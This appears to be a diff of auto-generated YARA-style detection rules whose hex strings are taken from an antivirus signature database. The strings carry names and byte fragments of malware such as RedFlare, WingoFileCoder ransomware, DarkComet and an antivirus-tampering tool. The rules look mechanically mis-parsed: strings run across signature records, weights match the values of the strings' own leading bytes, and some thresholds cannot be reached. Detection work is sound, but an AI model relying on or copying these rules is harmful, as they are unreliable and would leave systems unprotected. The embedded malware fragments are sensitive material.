6c 61 2e 41 4d 4d 57 32 35 31 21 4d 54 42 00 01 00 09 81 01 41 58 58 56 43 53 56 46 00 01 00 0b 81 01 41 48 4e 55 46 48 43 4e 56 47 00 01 00 09 01 09 20 00 2c 01 00 fe 04 13 01 00 08 81 } //18467 - $a_74_1 = {69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 76 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 36 2e 4d 21 69 62 74 00 01 00 0c 80 01 52 65 76 65 72 74 54 6f 53 65 6c 66 01 00 0c 80 01 55 6e 73 75 63 63 65 73 73 66 75 6c 01 00 0a 80 01 53 75 63 } //18177 - $a_73_2 = {75 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 00 00 78 76 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 41 21 4d 54 42 00 05 00 20 03 8d d5 00 00 01 2b 57 16 25 2d f5 6a 0c 2b 11 03 07 16 09 90 01 05 08 09 6a 58 16 2d fa 0c 90 00 01 } //25955 - $a_64_3 = {64 } //9216 d - $a_66_4 = {2d 39 35 64 37 2d 34 65 33 61 2d 38 63 62 63 2d 39 33 66 62 62 66 64 36 30 64 61 35 00 00 78 76 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f } //25189 + $a_74_1 = {69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 76 00 00 05 00 05 00 05 00 21 23 4f 46 4e 3a 69 63 61 63 6c 73 2e 65 78 65 00 01 00 0b 01 69 63 61 63 6c 73 2e 70 64 62 00 01 00 0e 00 2f 00 47 00 72 00 61 00 6e 00 74 00 00 00 01 00 0c 00 2f 00 44 00 65 00 6e 00 79 00 00 00 01 00 0e 00 2f 00 72 } //18177 + $a_00_3 = {00 00 01 00 16 00 69 00 43 00 41 00 43 00 4c 00 53 00 2e 00 45 00 58 00 45 00 00 00 00 00 78 76 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 36 2e 4d 21 69 62 74 00 01 00 0c 80 01 52 65 76 65 72 74 54 6f 53 65 6c 66 01 00 0c 80 01 55 6e 73 75 63 63 65 73 73 66 75 6c 01 00 0a 80 01 53 75 63 63 65 73 } //101 + $a_6c_4 = {00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 00 00 78 76 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 41 21 4d 54 42 00 05 00 20 03 8d d5 00 00 01 2b 57 16 25 2d f5 6a 0c 2b 11 03 07 16 09 90 01 05 08 09 6a 58 16 2d fa 0c 90 00 01 00 24 01 64 61 } //26227 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_73_2 & 1)*25955+(#a_64_3 & 1)*9216+(#a_66_4 & 1)*25189) >=5 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_00_3 & 1)*101+(#a_6c_4 & 1)*26227) >=5 } -rule _InfrastructureShared_7486{ +rule _InfrastructureShared_7911{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4e_0 = {69 63 61 63 6c 73 2e 65 78 65 00 01 00 0b 01 69 63 61 63 6c 73 2e 70 64 62 00 01 00 0e 00 2f 00 47 00 72 00 61 00 6e 00 74 00 00 00 01 00 0c 00 2f 00 44 00 65 00 6e 00 79 00 00 00 01 00 0e 00 2f 00 72 00 65 00 } //20259 + $a_00_1 = {74 00 00 00 01 00 16 00 69 00 43 00 41 00 43 00 4c 00 53 00 2e 00 45 00 58 00 45 00 00 00 00 00 78 76 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 36 2e 4d 21 69 62 74 00 01 00 0c 80 01 52 65 76 65 72 74 54 6f 53 65 6c 66 01 00 0c 80 01 55 6e 73 75 63 63 } //115 + $a_66_2 = {6c 01 00 0a 80 01 53 75 63 63 65 73 73 66 75 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 00 00 78 76 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 41 21 4d 54 42 00 05 00 20 03 8d d5 00 00 01 2b 57 16 25 2d f5 6a 0c 2b 11 03 07 16 09 } //29541 + $a_08_3 = {09 6a 58 16 2d } //400 + $a_00_4 = {01 00 24 01 64 61 64 65 62 33 66 65 2d 39 35 64 37 2d 34 65 33 61 2d 38 63 62 63 2d 39 33 66 62 62 66 64 36 30 64 61 35 00 00 78 76 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 57 69 6e 67 6f 46 69 6c 65 43 6f 64 65 72 2e 41 21 4d 54 42 00 02 00 1c 81 01 2f 67 6f 2d 72 61 6e 73 6f 6d 77 61 72 65 2f 65 6e 63 72 79 70 74 69 6f 6e 2e 67 6f 02 00 14 81 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2e } //3322 + condition: + ((#a_4e_0 & 1)*20259+(#a_00_1 & 1)*115+(#a_66_2 & 1)*29541+(#a_08_3 & 1)*400+(#a_00_4 & 1)*3322) >=5 + +} +rule _InfrastructureShared_7912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -78755,7 +83280,7 @@ rule _InfrastructureShared_7486{ ((#a_6f_0 & 1)*21539+(#a_23_1 & 1)*2+(#a_d5_2 & 1)*800+(#a_72_3 & 1)*28261+(#a_00_4 & 1)*66) >=5 } -rule _InfrastructureShared_7487{ +rule _InfrastructureShared_7913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -78766,7 +83291,7 @@ rule _InfrastructureShared_7487{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*25697) >=6 } -rule _InfrastructureShared_7488{ +rule _InfrastructureShared_7914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -78778,7 +83303,7 @@ rule _InfrastructureShared_7488{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*28532+(#a_69_2 & 1)*14958) >=6 } -rule _InfrastructureShared_7489{ +rule _InfrastructureShared_7915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -78789,7 +83314,7 @@ rule _InfrastructureShared_7489{ ((#a_54_0 & 1)*18467+(#a_84_1 & 1)*-16251) >=6 } -rule _InfrastructureShared_7490{ +rule _InfrastructureShared_7916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -78802,7 +83327,7 @@ rule _InfrastructureShared_7490{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*27987+(#a_02_2 & 1)*29201+(#a_00_3 & 1)*10) >=6 } -rule _InfrastructureShared_7491{ +rule _InfrastructureShared_7917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -78812,7 +83337,7 @@ rule _InfrastructureShared_7491{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7492{ +rule _InfrastructureShared_7918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -78822,7 +83347,7 @@ rule _InfrastructureShared_7492{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7493{ +rule _InfrastructureShared_7919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -78833,7 +83358,7 @@ rule _InfrastructureShared_7493{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*0) >=10 } -rule _InfrastructureShared_7494{ +rule _InfrastructureShared_7920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -78844,31 +83369,43 @@ rule _InfrastructureShared_7494{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*1025) >=10 } -rule _InfrastructureShared_7495{ +rule _InfrastructureShared_7921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 61 69 6c 50 6f 63 6b 65 74 2e 41 21 64 68 61 00 05 00 19 01 44 6f 77 6e 6c 6f 61 64 45 6d 61 69 6c 73 52 65 63 75 72 73 69 76 65 6c 79 05 00 10 01 77 65 6c 6c 4b 6e 6f 77 } //16675 $a_6c_1 = {65 72 5f 05 00 10 01 32 00 30 00 32 00 33 00 2f 00 37 00 2f 00 31 00 00 00 78 76 00 00 15 00 15 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 6c 69 6b 2e 41 00 0a 00 12 02 2a d1 8a 1c 06 32 da 41 3b 4d 90 01 01 88 18 7c 90 00 0a 00 10 00 5c 53 6b 79 70 65 5c 53 6b 79 70 65 2e 6c 6e 6b 01 00 0e 00 4f 70 } //18030 - $a_43_2 = {61 6e 61 67 65 72 41 01 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 53 49 42 21 4d 54 42 00 01 00 48 02 74 23 00 } //28261 + $a_43_2 = {61 6e 61 67 65 72 41 01 00 12 00 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 76 00 00 22 00 22 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 14 00 14 03 04 03 59 17 58 6c 05 28 } //28261 condition: ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*18030+(#a_43_2 & 1)*28261) >=15 } -rule _InfrastructureShared_7496{ +rule _InfrastructureShared_7922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 6f 6c 69 6b 2e 41 00 0a 00 12 02 2a d1 8a 1c 06 32 da 41 3b 4d 90 01 01 88 18 7c 90 00 0a 00 10 00 5c 53 6b 79 70 65 5c 53 6b 79 70 65 2e 6c 6e 6b 01 00 0e 00 4f 70 65 6e 53 43 4d 61 6e 61 67 65 72 41 01 } //18467 - $a_77_2 = {6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 53 49 42 21 4d 54 42 00 01 00 48 02 74 23 00 00 01 11 90 01 01 11 90 01 01 75 12 00 00 1b 11 90 01 01 11 90 01 01 58 11 90 01 01 59 93 61 11 90 01 01 75 12 00 00 1b 11 90 1b 04 11 90 } //17484 - $a_1f_3 = {01 01 58 11 90 01 01 5d 93 61 d1 6f 90 01 04 26 90 00 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 4d 61 6e 61 67 65 72 2e 44 00 01 00 4d 03 68 61 73 68 5f 73 65 65 64 00 00 00 75 74 66 38 00 00 00 00 64 65 76 00 } //539 + $a_77_2 = {6c 6f 61 64 54 6f 46 69 6c 65 41 00 00 78 76 00 00 22 00 22 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 14 00 14 03 04 03 59 17 58 6c 05 28 90 01 04 5a 03 6c 58 69 13 02 90 00 0a 00 0e 01 11 05 11 01 11 05 11 01 99 11 00 6c 5b a1 02 00 13 01 42 75 74 74 72 65 79 20 46 6f 6f 64 } //17484 + $a_44_3 = {75 67 02 00 0b 01 4d 6f 6e 74 65 72 6f 2e 64 6c 6c 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 } //9760 condition: - ((#a_54_0 & 1)*18467+(#a_77_2 & 1)*17484+(#a_1f_3 & 1)*539) >=21 + ((#a_54_0 & 1)*18467+(#a_77_2 & 1)*17484+(#a_44_3 & 1)*9760) >=21 } -rule _InfrastructureShared_7497{ +rule _InfrastructureShared_7923{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 14 00 14 03 04 03 59 17 58 6c 05 28 90 01 04 5a 03 6c 58 69 13 02 90 00 0a 00 0e 01 11 05 11 01 11 05 11 01 99 11 00 6c 5b a1 02 00 13 } //21539 + $a_74_1 = {72 65 79 20 46 6f 6f 64 20 26 20 44 72 75 67 02 00 0b 01 4d 6f 6e 74 65 72 6f 2e 64 6c 6c 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 53 49 42 21 4d 54 42 00 01 00 48 02 74 23 00 00 01 11 90 01 01 11 90 01 01 75 12 00 00 1b 11 90 01 01 11 90 01 01 58 11 90 01 01 59 93 61 11 90 } //16897 + $a_12_2 = {00 1b 11 90 1b 04 11 90 1b 02 58 1f 90 01 01 58 11 90 01 01 5d 93 61 d1 6f 90 01 04 26 90 00 00 00 78 77 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 4d 61 6e 61 67 65 72 2e 44 00 01 00 4d 03 68 61 73 68 5f 73 65 65 64 00 00 00 75 74 66 38 00 00 00 00 64 65 76 00 62 61 73 65 5f 6c 69 62 72 61 72 79 2e 7a 69 70 } //257 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*16897+(#a_12_2 & 1)*257) >=34 + +} +rule _InfrastructureShared_7924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78878,7 +83415,7 @@ rule _InfrastructureShared_7497{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7498{ +rule _InfrastructureShared_7925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78888,7 +83425,7 @@ rule _InfrastructureShared_7498{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7499{ +rule _InfrastructureShared_7926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78898,7 +83435,7 @@ rule _InfrastructureShared_7499{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7500{ +rule _InfrastructureShared_7927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78908,7 +83445,7 @@ rule _InfrastructureShared_7500{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7501{ +rule _InfrastructureShared_7928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78918,7 +83455,7 @@ rule _InfrastructureShared_7501{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7502{ +rule _InfrastructureShared_7929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78928,7 +83465,7 @@ rule _InfrastructureShared_7502{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7503{ +rule _InfrastructureShared_7930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78938,7 +83475,7 @@ rule _InfrastructureShared_7503{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7504{ +rule _InfrastructureShared_7931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78948,7 +83485,7 @@ rule _InfrastructureShared_7504{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7505{ +rule _InfrastructureShared_7932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78958,7 +83495,7 @@ rule _InfrastructureShared_7505{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7506{ +rule _InfrastructureShared_7933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78968,7 +83505,7 @@ rule _InfrastructureShared_7506{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7507{ +rule _InfrastructureShared_7934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78978,7 +83515,7 @@ rule _InfrastructureShared_7507{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7508{ +rule _InfrastructureShared_7935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78988,7 +83525,7 @@ rule _InfrastructureShared_7508{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7509{ +rule _InfrastructureShared_7936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -78998,7 +83535,7 @@ rule _InfrastructureShared_7509{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7510{ +rule _InfrastructureShared_7937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79008,7 +83545,7 @@ rule _InfrastructureShared_7510{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7511{ +rule _InfrastructureShared_7938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79018,7 +83555,7 @@ rule _InfrastructureShared_7511{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7512{ +rule _InfrastructureShared_7939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79028,7 +83565,7 @@ rule _InfrastructureShared_7512{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7513{ +rule _InfrastructureShared_7940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79038,7 +83575,7 @@ rule _InfrastructureShared_7513{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7514{ +rule _InfrastructureShared_7941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79048,7 +83585,17 @@ rule _InfrastructureShared_7514{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7515{ +rule _InfrastructureShared_7942{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 42 21 4d 54 42 00 01 00 44 01 41 81 eb 4d ed c5 b8 45 01 da 45 29 d0 41 81 e8 b6 a6 9f d6 41 81 e8 78 f0 57 a8 41 81 c0 b6 a6 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79058,7 +83605,7 @@ rule _InfrastructureShared_7515{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7516{ +rule _InfrastructureShared_7944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -79068,7 +83615,7 @@ rule _InfrastructureShared_7516{ ((#a_64_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7517{ +rule _InfrastructureShared_7945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79079,7 +83626,7 @@ rule _InfrastructureShared_7517{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400) >=1 } -rule _InfrastructureShared_7518{ +rule _InfrastructureShared_7946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -79090,7 +83637,7 @@ rule _InfrastructureShared_7518{ ((#a_6b_0 & 1)*17955+(#a_ab_1 & 1)*-27065) >=1 } -rule _InfrastructureShared_7519{ +rule _InfrastructureShared_7947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -79101,34 +83648,43 @@ rule _InfrastructureShared_7519{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=1 } -rule _InfrastructureShared_7520{ +rule _InfrastructureShared_7948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_74_0 = {76 65 41 50 49 73 49 6e 4e 6f 6e 4e 61 74 69 76 65 41 70 70 00 01 00 1a 80 01 50 73 4c 6f 6f 6b 75 70 50 72 6f 63 65 73 73 42 79 50 72 6f 63 65 73 73 49 64 01 00 16 80 01 50 73 49 6e 69 74 69 61 6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 15 80 01 45 78 41 6c 6c 6f 63 61 74 65 50 6f 6f } //20003 $a_74_1 = {54 61 67 00 00 78 77 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 53 69 6e 6f 77 61 6c 2e 67 65 6e 21 59 2e 32 00 01 00 08 01 03 54 08 10 39 55 0c 73 01 00 06 01 03 4c 02 14 89 4d 01 00 0d 03 8b 4c 02 24 89 90 03 01 01 4d 8d 90 00 01 00 08 01 8b 4d 08 8b 51 58 89 55 01 00 0a 01 20 6e } //22380 - $a_74_2 = {65 6e 20 01 00 09 01 00 61 6c 64 2e 70 64 62 00 00 00 78 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 69 63 6b 6c 79 50 65 61 72 2e 46 21 64 68 61 00 01 00 2e 01 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 68 65 63 6b 20 75 70 64 61 74 65 20 66 6f 72 20 53 69 67 6e } //26465 + $a_74_2 = {65 6e 20 01 00 09 01 00 61 6c 64 2e 70 64 62 00 00 00 78 77 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6f 6d 65 74 2e 42 41 41 21 4d 54 42 00 02 00 47 03 07 11 04 08 5d 90 01 05 d2 13 05 11 05 11 04 1f 17 58 08 58 1f 1f 5f 63 20 ff 00 00 00 5f 90 01 05 13 06 06 } //26465 condition: ((#a_74_0 & 1)*20003+(#a_74_1 & 1)*22380+(#a_74_2 & 1)*26465) >=1 } -rule _InfrastructureShared_7521{ +rule _InfrastructureShared_7949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 50 57 53 3a 57 69 6e 33 32 2f 53 69 6e 6f 77 61 6c 2e 67 65 6e 21 59 2e 32 00 01 00 08 01 03 54 08 10 39 55 0c 73 01 00 06 01 03 4c 02 14 89 4d 01 00 0d 03 8b 4c 02 24 89 90 03 01 01 4d 8d 90 00 01 00 08 01 8b 4d 08 8b 51 58 89 55 01 00 0a 01 20 } //18467 - $a_68_1 = {6d 65 6e 20 01 00 09 01 00 61 6c 64 2e 70 64 62 00 00 00 78 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 72 69 63 6b 6c 79 50 65 61 72 2e 46 21 64 68 61 00 01 00 2e 01 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 68 65 63 6b 20 75 70 64 61 74 65 20 66 6f 72 20 53 69 } //24942 - $a_6c_2 = {45 78 74 65 73 69 6f 6e 73 01 00 13 01 75 70 64 61 74 65 2e 68 6f 73 74 2e 6d 65 73 73 61 67 65 00 00 78 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 43 41 21 4d 54 42 00 01 00 21 02 25 1b 07 d0 4d 81 6c 24 90 01 01 } //28263 - $a_22_3 = {87 d5 7c 3a 81 44 24 90 01 01 8c eb 73 22 8b 90 00 01 00 20 02 76 09 00 00 75 90 01 01 6a 00 6a 00 8d 84 24 90 01 04 50 6a 00 ff 15 90 01 04 6a 00 ff 15 90 00 00 00 78 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 34 21 4d 54 42 00 01 00 24 02 50 4b 8b d8 85 c0 90 18 90 90 58 2b } //-5240 - $a_d8_4 = {18 51 90 18 8b 0f 90 18 8b 06 33 c1 90 18 46 88 07 90 00 01 00 21 02 50 4b 8b d8 85 c0 90 18 90 90 58 2b f0 50 8b d8 90 18 51 90 18 8b 0f e8 90 01 04 47 4b 8b c3 90 00 00 00 78 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 56 54 61 6d 70 65 72 2e 41 00 01 00 2a 03 53 79 73 74 65 6d 20 45 72 72 6f 72 00 46 61 69 6c 65 64 90 01 01 74 6f 20 63 6f 6e 6e 65 63 74 20 64 72 69 76 } //20720 - $a_90_5 = {01 00 1f 03 73 65 6e 74 69 6e 65 6c 75 69 2e 65 78 65 90 01 01 6d 70 63 6d 64 72 75 6e 2e 65 78 65 } //29285 + $a_68_1 = {6d 65 6e 20 01 00 09 01 00 61 6c 64 2e 70 64 62 00 00 00 78 77 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6f 6d 65 74 2e 42 41 41 21 4d 54 42 00 02 00 47 03 07 11 04 08 5d 90 01 05 d2 13 05 11 05 11 04 1f 17 58 08 58 1f 1f 5f 63 20 ff 00 00 00 5f 90 01 05 13 } //24942 + $a_04_2 = {8f 1e 00 00 01 25 71 1e 00 00 01 11 06 61 d2 81 1e } //1542 + $a_11_3 = {17 } //0 + $a_11_4 = {09 32 b7 90 } //4952 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24942+(#a_6c_2 & 1)*28263+(#a_22_3 & 1)*-5240+(#a_d8_4 & 1)*20720+(#a_90_5 & 1)*29285) >=1 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24942+(#a_04_2 & 1)*1542+(#a_11_3 & 1)*0+(#a_11_4 & 1)*4952) >=1 } -rule _InfrastructureShared_7522{ +rule _InfrastructureShared_7950{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6f 6d 65 74 2e 42 41 41 21 4d 54 42 00 02 00 47 03 07 11 04 08 5d 90 01 05 d2 13 05 11 05 11 04 1f 17 58 08 58 1f 1f 5f 63 20 ff 00 00 00 5f 90 01 05 13 06 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79139,7 +83695,7 @@ rule _InfrastructureShared_7522{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29541) >=2 } -rule _InfrastructureShared_7523{ +rule _InfrastructureShared_7952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -79150,7 +83706,7 @@ rule _InfrastructureShared_7523{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29952) >=2 } -rule _InfrastructureShared_7524{ +rule 